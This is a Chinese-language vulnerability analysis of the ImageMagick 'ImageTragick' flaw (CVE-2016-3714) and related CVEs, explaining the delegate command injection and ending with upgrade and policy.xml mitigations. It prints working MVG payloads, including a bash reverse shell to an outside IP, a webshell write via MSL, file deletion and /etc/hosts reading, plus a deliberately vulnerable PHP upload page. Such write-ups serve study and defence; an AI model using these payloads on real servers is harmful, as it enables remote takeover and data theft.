ImageMagick-CVE-2016-3714 命令执行分析
关于ImageMagick
ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。
漏洞描述
ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。当攻击者构造含有恶意代码得图片时,ImageMagick库对于HTTPPS文件处理不当,没有做任何过滤,可远程实现远程命令执行,进而可能控制服务器。
与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。国外的安全人员为此新建的一个网站: https://imagetragick.com/
影响范围:ImageMagick 6.9.3-9以前的所有版本
原理分析
命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。
ImageMagick之所以支持那么多的文件格式,是因为它内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给它起了个名字叫做”Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的lib进行处理。调用外部lib的过程是使用系统的system命令来执行的,导致命令执行的代码。
ImageMagick委托的默认配置文件: /etc/ImageMagick/delegates.xml
参考代码:配置
定位到https委托得那一行
" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"
command定义了它对于https文件处理时带入system()函数得命令:”wget” -q -O “%o” “https:%M”
wget是从网络下载文件得命令,%M是一个占位符,它得具体定义在配置文件中如下:
%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution
%m被定义为输入的图片格式,也就是输入的url地址。但是由于只是做了简单的字符串拼接,没有做任何过滤,直接拼接到command命令中,可以将引号闭合后通过”|”,”`”,”&”等带入其他命令,也就形成了命令注入。
比如我们传入如下代码:
https://example.com"|ls “-al
则实际得system函数执行得命令为:
"wget" -q -O "%o" "https://example.com"|ls "-al"
这样,ls -al命令成功执行。
漏洞利用
测试环境用的是:ImageMagick 命令执行漏洞(CVE-2016–3714)环境
创建一个test.png的文件,内容如下:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-al)'
pop graphic-context
这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞:
push和pop是用于堆栈的操作,一个进栈,一个出栈;
viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;
fill url()是把图片填充到当前元素内;
在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。
附:ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,允许在其中加载ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景。
写了一个图片上传测试页面
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
<?php
$filename = $_FILES['file']['name'];
$type = substr($filename, strrpos($filename, '.')+1);
if ($type === "jpg" || $type === "png" || $type === "gif") {
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
$imgObject = new Imagick($filename);
}
?>
</html>
上传nc.png,内容为:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/45.xxx.xxx.23/2233 0>&1")'
pop graphic-context
监听反弹shell
如果不反弹shell,我们无法得知是否存在漏洞,可以用cloudeye,ceye等工具,查看请求记录。
push graphic-context
viewbox 0 0 640 480
fill 'url(http://image.xxxxx.ceye.io)'
pop graphic-context
其他cve漏洞
CVE-2016-3718,利用mvg格式中可以包含url的特点,进行SSRF攻击
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
CVE-2016-3715是利用ImageMagick支持的ephemeral协议,来删除任意文件
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
pop graphic-context
CVE-2016-3716是利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。
特别说明的是,msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作:
file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
pop graphic-context
/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
CVE-2016-3717可以造成本地文件读取漏洞:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/hosts'
pop graphic-context
修复
- 升级到最新版本
- 使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>